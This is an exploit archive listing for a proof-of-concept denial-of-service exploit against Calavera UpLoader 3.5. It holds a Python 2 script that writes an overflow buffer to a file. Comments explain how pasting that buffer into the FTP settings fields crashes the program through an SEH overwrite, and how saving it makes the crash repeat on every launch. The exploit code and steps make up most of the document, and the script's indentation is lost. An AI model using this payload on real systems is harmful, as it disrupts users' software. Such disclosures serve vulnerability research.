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Calavera UpLoader 3.5 Denial Of Service

Calavera UpLoader 3.5 Denial Of Service
Posted Jul 27, 2020
Authored by Felipe Winsnes

Calavera UpLoader version 3.5 proof of concept denial of service exploit.

tags | exploit, denial of service, proof of concept
SHA-256 | 6dbc757b021aec5cb44503dee0684cb977b77e8b943aeb4972d6b3e7b6a67c1a

Calavera UpLoader 3.5 Denial Of Service

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# Exploit Title: Calavera UpLoader 3.5 - 'FTP Logi' Denial of Service (PoC + SEH Overwrite)
# Date: 2020-07-20
# Author: Felipe Winsnes
# Software Link: https://www.exploit-db.com/apps/463c9e7fe9a39888d3c01bc9ad756bba-UpSetup.exe
# Version: 3.5
# Tested on: Windows 7 (x86)

# Blog: https://whitecr0wz.github.io/

# Sadly enough, this vulnerability is not exploitable as there are no friendly PPR addresses available and
# yet the vulnerability is triggered with additional padding == can't use addresses with null values.

# Proof of Concept:
# 1.- Run the python script, it will create a new file "poc.txt".
# 2.- Copy the content of the new file 'poc.txt' to clipboard.
# 3.- Open the Application.
# 4.- Click on "Settings".
# 4.- Paste contents of the generated file into the parameters "FTP Address", "Username" and Password". Furthermore, check the box with the statement "Check to save password in preferences".
# 5.- Crashed.
# 6.- As uploadpref.dat is generated, every time the application opens it will crash, with the SEH values being overwritten. In order to stop this behavior simply delete the file.

# If the contents are only pasted into "Password", the application will only crash once without creating uploadpref.dat.

buffer = "A" * 477 + "BBBB" + "CCCC" + "\xff" * 2000

try:
f = open ("poc.txt", "w")
f.write(buffer)
f.close()
print "[+] The file has been created successfully!"

except:
print "[!] There has been an error while creating the file."
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